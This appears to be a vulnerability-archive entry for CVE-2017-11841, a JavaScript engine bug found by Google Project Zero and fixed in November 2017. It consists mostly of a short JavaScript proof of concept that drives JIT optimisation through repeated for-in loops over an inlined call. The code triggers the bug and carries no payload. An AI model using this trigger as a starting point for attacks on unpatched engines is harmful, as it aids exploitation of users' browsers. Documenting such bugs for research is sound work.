CVE-2017-11841.md

CVE-2017-11841

• Fix: Nov 2017
• Credit: lokihardt of Google Project Zero

PoC

function opt(obj) {
    for (let i in obj.inlinee.call({})) {
    }

    for (let i in obj.inlinee.call({})) {
    }
}

function main() {
    let obj = {
        inlinee: function () {
        }
    };
    
    for (let i = 0; i < 10000; i++)
        opt(obj);
}

main();

Reference

• Microsoft
• Google Project Zero
• Fix